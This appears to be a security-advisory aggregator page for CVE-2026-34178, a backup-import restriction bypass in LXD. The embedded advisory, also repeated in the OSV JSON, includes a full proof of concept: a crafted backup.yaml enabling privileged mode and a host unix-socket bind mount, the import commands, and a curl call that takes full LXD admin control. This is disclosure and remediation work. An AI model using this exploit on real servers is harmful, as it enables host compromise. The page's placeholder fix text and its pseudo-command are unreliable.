CVE-2026-34178: LXD Importing A Crafted Backup Leads Vulnerability

CRITICAL
Advisory Identifier: GHSA-q96j-3fmm-7fv4
CVSS 9.1
CWE-20
Published
Advisory Summary

CVE-2026-34178 is a CRITICAL (CVSS 9.1) importing a crafted backup leads vulnerability (CWE-20: Improper Input Validation) affecting LXD libraries in the Go ecosystem. The issue involves importing a crafted backup leads to project restriction bypass. Remediation is available in the latest vendor maintenance releases.

CVE-2026-34178 at a Glance

CVE Identifier CVE-2026-34178
GHSA Identifier GHSA-q96j-3fmm-7fv4
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-20: Improper Input Validation
Affected Product LXD
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-34178

To remediate this vulnerability, upgrade all affected LXD dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/canonical/lxd fixed: Latest secure release
Upgrade github.com/canonical/lxd to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/canonical/lxd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34178, inspect your project dependencies for LXD:

inspect dependencies for github.com/canonical/lxd

Analyze the terminal output to locate any version of LXD in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In LXD, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary LXD instance backup import validates project restrictions against `backup/index.yaml` embedded in the tar archive, but creates the actual instance from `backup/container/backup.yaml` extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where `index.yaml` contains clean configuration (passing all restriction checks) while `backup.yaml` contains `security.privileged=true`, `raw.lxc` host filesystem mounts, and restricted device types. The instance is created from the unchecked `backup.yaml`, bypassing all project restriction enforcement. ## Details LXD projects support a `restricted=true` mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking `security.privileged=true` containers, `raw.lxc` / `raw.apparmor` overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project. The backup import path has two distinct configuration sources within a single tar archive: 1. `backup/index.yaml` - A quick-access metadata file read by `backup.GetInfo()` at `backup/backup_info.go:68`. This is the config checked against project restrictions. 2. `backup/container/backup.yaml` - The full instance configuration extracted to the storage volume and used for actual instance creation at `api_internal.go:784`. The vulnerability exists because: 1. `AllowInstanceCreation()` at `instances_post.go:885` validates project restrictions using only `bInfo.Config` from `index.yaml`. 2. The tar contents (including `backup/container/backup.yaml`) are extracted to the storage volume at `generic_vfs.go:952` via `unpackVolume()`. 3. `UpdateInstanceConfig()` at `backup_config_utils.go:236` reads `backup.yaml` from storage but only syncs `Name`, `Project`, pool info, and volume UUIDs - it does not overwrite `Instance.Config` or `Instance.Devices`. 4. `internalImportFromBackup()` at `api_internal.go:784` reads `backup.yaml` from the storage mount path (not `index.yaml`) to build the instance database record. 5. `instance.CreateInternal()` at `api_internal.go:946` creates the instance using the config from `backup.yaml`. `CreateInternal` calls `ValidConfig` which validates config key **format** only, not project restriction compliance. ## Proof of Concept ### Environment setup (server admin) These steps are performed by the LXD server administrator to set up the restricted project and grant access to the user. This represents the normal multi-tenant configuration that the exploit targets. ```bash # Create a restricted project lxc project create restricted-project \ -c features.images=false \ -c features.profiles=true \ -c restricted=true # Create a default profile with a root disk in the restricted project lxc profile device add default root disk \ path=/ pool=default --project restricted-project # Create a group with instance management permissions in the restricted project lxc auth group create poc-group lxc auth group permission add poc-group project restricted-project can_view lxc auth group permission add poc-group project restricted-project can_create_instances lxc auth group permission add poc-group project restricted-project can_view_instances lxc auth group permission add poc-group project restricted-project can_operate_instances # Create a TLS identity for the attacker, scoped to the group lxc auth identity create tls/poc-attacker --group poc-group # The attacker uses it to add the remote: # lxc remote add target-lxd <token> ``` After this setup, the attacker can create normal unprivileged instances in `restricted-project` but should not be able to create privileged containers, use `raw.lxc`, or attach GPU/USB/unix-char devices. The exploit bypasses all of these restrictions. ### Steps **1. Create an instance backup archive locally** The attacker constructs the entire backup archive locally. No access to any LXD server is needed for this step. ```shell # Create the backup directory structure mkdir -p backup/container # Build a minimal rootfs with an init system using debootstrap sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/ # Create backup index.yaml cat >backup/index.yaml <<EOF version: 2 name: escalated-instance backend: dir pool: default type: container optimized: false config: instance: name: escalated-instance architecture: x86_64 type: container config: {} devices: {} expanded_config: {} expanded_devices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default content_type: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF # Create malicious `backup/container/backup.yaml` # This is the file LXD actually uses to create the instance. It contains the # restricted config and devices that should be blocked by the project. LXD # never compares this file against `index.yaml` or re-validates it against # project restrictions. cat > backup/container/backup.yaml <<EOF instance: name: escalated-instance architecture: x86_64 type: container config: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" devices: {} expanded_config: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" expanded_devices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default content_type: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF # Package the archive tar -cf malicious-backup.tar backup/ ``` **2. Connect to the target LXD server and import the backup** Connect to the target LXD server and confirm restricted access: ```bash # Add the target server as a remote lxc remote add target-lxd <token> # Confirm the attacker's restricted access (command returns restricted=true) lxc project show target-lxd:restricted-project # Confirm the attacker can't launch a privileged container (command should fail) lxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true # Import malicious backup lxc import target-lxd: malicious-backup.tar --project restricted-project # Verify the restricted config was accepted into the restricted project lxc config show target-lxd:escalated-instance --project restricted-project # Output contains: # security.privileged: "true" ``` **3. Escalate to full LXD admin** Start the container and use the LXD Unix socket, which was bind-mounted from the host via `raw.lxc`. Local connections over the Unix socket are trusted as full admin with unrestricted access across all projects. ```bash lxc start target-lxd:escalated-instance --project restricted-project # Query the LXD API via the bind-mounted Unix socket (full admin access) lxc exec target-lxd:escalated-instance --project restricted-project -- \ curl -s --unix-socket /unix.socket http://localhost/1.0/projects # From here the attacker has full control: create admin certs, access # all projects, modify any instance, or mount the host filesystem. ``` ## Impact The exploit allows full host compromise from within a restricted project. The requirement is that the user has `can_view_instances`, `can_create_instances` and `can_operate_instances` on the project -- standard permissions for any tenant expected to manage instances. ## Possible remediation Add a second `AllowInstanceCreation` (or `checkInstanceRestrictions`) call after `backup.yaml` is read from storage and before `CreateInternal` is called. In `api_internal.go`, between the `ParseConfigYamlFile` call (line 784) and the `CreateInternal` call (line 946): ```go // After parsing backup.yaml, re-validate project restrictions // against the config that will actually be used for instance creation err = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error { req := api.InstancesPost{ InstancePut: api.InstancePut{ Config: backupConf.Instance.Config, Devices: backupConf.Instance.Devices, }, Type: api.InstanceType(backupConf.Instance.Type), } return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req) }) if err != nil { return fmt.Errorf("Backup config violates project restrictions: %w", err) } ``` ### Patches | LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |

CVE-2026-34178 Affected LXD Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/canonical/lxd
Go
≥ 0.0.0-20210305023314-538ac3df036e
≤ 0.0.0-20260226085519-736f34afb267

References

Frequently Asked Questions

What is CVE-2026-34178?
CVE-2026-34178 is a security vulnerability in LXD involving Importing a crafted backup leads to project restriction bypass under CWE-20: Improper Input Validation.
Which LXD versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/canonical/lxd.
What version fixes CVE-2026-34178?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/canonical/lxd affected?
Yes, github.com/canonical/lxd is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-34178?
CVE-2026-34178 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-34178?
CVE-2026-34178 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Go dependencies for CVE-2026-34178?
Run the dependency tree command: 'inspect dependencies for github.com/canonical/lxd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q96j-3fmm-7fv4",
  "modified" : "2026-04-10T19:20:55Z",
  "published" : "2026-04-10T19:20:55Z",
  "aliases" : [ "CVE-2026-34178" ],
  "summary" : "LXD: Importing a crafted backup leads to project restriction bypass",
  "details" : "## Summary\n\nLXD instance backup import validates project restrictions against `backup/index.yaml` embedded in the tar archive, but creates the actual instance from `backup/container/backup.yaml` extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where `index.yaml` contains clean configuration (passing all restriction checks) while `backup.yaml` contains `security.privileged=true`, `raw.lxc` host filesystem mounts, and restricted device types. The instance is created from the unchecked `backup.yaml`, bypassing all project restriction enforcement.\n\n## Details\n\nLXD projects support a `restricted=true` mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking `security.privileged=true` containers, `raw.lxc` / `raw.apparmor` overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.\n\nThe backup import path has two distinct configuration sources within a single tar archive:\n\n1. `backup/index.yaml` - A quick-access metadata file read by `backup.GetInfo()` at `backup/backup_info.go:68`. This is the config checked against project restrictions.\n2. `backup/container/backup.yaml` - The full instance configuration extracted to the storage volume and used for actual instance creation at `api_internal.go:784`.\n\nThe vulnerability exists because:\n\n1. `AllowInstanceCreation()` at `instances_post.go:885` validates project restrictions using only `bInfo.Config` from `index.yaml`.\n\n2. The tar contents (including `backup/container/backup.yaml`) are extracted to the storage volume at `generic_vfs.go:952` via `unpackVolume()`.\n\n3. `UpdateInstanceConfig()` at `backup_config_utils.go:236` reads `backup.yaml` from storage but only syncs `Name`, `Project`, pool info, and volume UUIDs - it does not overwrite `Instance.Config` or `Instance.Devices`.\n\n4. `internalImportFromBackup()` at `api_internal.go:784` reads `backup.yaml` from the storage mount path (not `index.yaml`) to build the instance database record.\n\n5. `instance.CreateInternal()` at `api_internal.go:946` creates the instance using the config from `backup.yaml`. `CreateInternal` calls `ValidConfig` which validates config key **format** only, not project restriction compliance.\n\n\n## Proof of Concept\n\n### Environment setup (server admin)\n\nThese steps are performed by the LXD server administrator to set up the\nrestricted project and grant access to the user. This represents the normal\nmulti-tenant configuration that the exploit targets.\n\n```bash\n# Create a restricted project\nlxc project create restricted-project \\\n  -c features.images=false \\\n  -c features.profiles=true \\\n  -c restricted=true\n\n# Create a default profile with a root disk in the restricted project\nlxc profile device add default root disk \\\n  path=/ pool=default --project restricted-project\n\n# Create a group with instance management permissions in the restricted project\nlxc auth group create poc-group\nlxc auth group permission add poc-group project restricted-project can_view\nlxc auth group permission add poc-group project restricted-project can_create_instances\nlxc auth group permission add poc-group project restricted-project can_view_instances\nlxc auth group permission add poc-group project restricted-project can_operate_instances\n\n# Create a TLS identity for the attacker, scoped to the group\nlxc auth identity create tls/poc-attacker --group poc-group\n\n# The attacker uses it to add the remote:\n# lxc remote add target-lxd <token>\n```\n\nAfter this setup, the attacker can create normal unprivileged instances in\n`restricted-project` but should not be able to create privileged containers,\nuse `raw.lxc`, or attach GPU/USB/unix-char devices. The exploit bypasses\nall of these restrictions.\n\n### Steps\n\n**1. Create an instance backup archive locally**\n\nThe attacker constructs the entire backup archive locally. No access to any\nLXD server is needed for this step. \n\n```shell\n# Create the backup directory structure\nmkdir -p backup/container\n\n# Build a minimal rootfs with an init system using debootstrap\nsudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/\n\n# Create backup index.yaml\ncat >backup/index.yaml <<EOF\nversion: 2\nname: escalated-instance\nbackend: dir\npool: default\ntype: container\noptimized: false\nconfig:\n  instance:\n    name: escalated-instance\n    architecture: x86_64\n    type: container\n    config: {}\n    devices: {}\n    expanded_config: {}\n    expanded_devices:\n      root:\n        path: /\n        pool: default\n        type: disk\n    profiles:\n      - default\n    stateful: false\n  pools:\n    - name: default\n      driver: dir\n  volumes:\n    - name: escalated-instance\n      type: container\n      pool: default\n      content_type: filesystem\n      config:\n        volatile.uuid: \"00000000-0000-0000-0000-000000000000\"\nEOF\n\n# Create malicious `backup/container/backup.yaml`\n# This is the file LXD actually uses to create the instance. It contains the\n# restricted config and devices that should be blocked by the project. LXD\n# never compares this file against `index.yaml` or re-validates it against\n# project restrictions.\n\ncat > backup/container/backup.yaml <<EOF\ninstance:\n  name: escalated-instance\n  architecture: x86_64\n  type: container\n  config:\n    security.privileged: \"true\"\n    raw.lxc: |\n      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0\n    raw.apparmor: \"\"\n  devices: {}\n  expanded_config:\n    security.privileged: \"true\"\n    raw.lxc: |\n      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0\n    raw.apparmor: \"\"\n  expanded_devices:\n    root:\n      path: /\n      pool: default\n      type: disk\n  profiles:\n    - default\n  stateful: false\npools:\n  - name: default\n    driver: dir\nvolumes:\n  - name: escalated-instance\n    type: container\n    pool: default\n    content_type: filesystem\n    config:\n      volatile.uuid: \"00000000-0000-0000-0000-000000000000\"\nEOF\n\n# Package the archive\ntar -cf malicious-backup.tar backup/\n```\n\n**2. Connect to the target LXD server and import the backup**\n\nConnect to the target LXD server and confirm restricted access:\n\n```bash\n# Add the target server as a remote\nlxc remote add target-lxd <token>\n\n# Confirm the attacker's restricted access (command returns restricted=true)\nlxc project show target-lxd:restricted-project\n\n# Confirm the attacker can't launch a privileged container (command should fail)\nlxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true\n\n# Import malicious backup\nlxc import target-lxd: malicious-backup.tar --project restricted-project\n\n# Verify the restricted config was accepted into the restricted project\nlxc config show target-lxd:escalated-instance --project restricted-project\n\n# Output contains:\n# security.privileged: \"true\"\n```\n\n**3. Escalate to full LXD admin**\n\nStart the container and use the LXD Unix socket, which was bind-mounted\nfrom the host via `raw.lxc`. Local connections over the Unix socket are\ntrusted as full admin with unrestricted access across all projects.\n\n```bash\nlxc start target-lxd:escalated-instance --project restricted-project\n\n# Query the LXD API via the bind-mounted Unix socket (full admin access)\nlxc exec target-lxd:escalated-instance --project restricted-project -- \\\n  curl -s --unix-socket /unix.socket http://localhost/1.0/projects\n\n# From here the attacker has full control: create admin certs, access\n# all projects, modify any instance, or mount the host filesystem.\n```\n\n## Impact\n\nThe exploit allows full host compromise from within a restricted project.\nThe requirement is that the user has `can_view_instances`, `can_create_instances` and `can_operate_instances` on the project -- standard permissions for any tenant expected to manage instances.\n\n## Possible remediation\n\nAdd a second `AllowInstanceCreation` (or `checkInstanceRestrictions`) call after `backup.yaml` is read from storage and before `CreateInternal` is called. In `api_internal.go`, between the `ParseConfigYamlFile` call (line 784) and the `CreateInternal` call (line 946):\n\n```go\n// After parsing backup.yaml, re-validate project restrictions\n// against the config that will actually be used for instance creation\nerr = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error {\n    req := api.InstancesPost{\n        InstancePut: api.InstancePut{\n            Config:  backupConf.Instance.Config,\n            Devices: backupConf.Instance.Devices,\n        },\n        Type: api.InstanceType(backupConf.Instance.Type),\n    }\n\n    return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req)\n})\nif err != nil {\n    return fmt.Errorf(\"Backup config violates project restrictions: %w\", err)\n}\n```\n\n### Patches\n\n| LXD Series  | Interim release |\n| ------------- | ------------- |\n| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1  |\n| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1  |\n| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/canonical/lxd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.0.0-20210305023314-538ac3df036e"
      }, {
        "last_affected" : "0.0.0-20260226085519-736f34afb267"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34178"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/canonical/lxd/pull/17921"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/canonical/lxd"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:20:55Z",
    "nvd_published_at" : "2026-04-09T10:16:21Z"
  }
}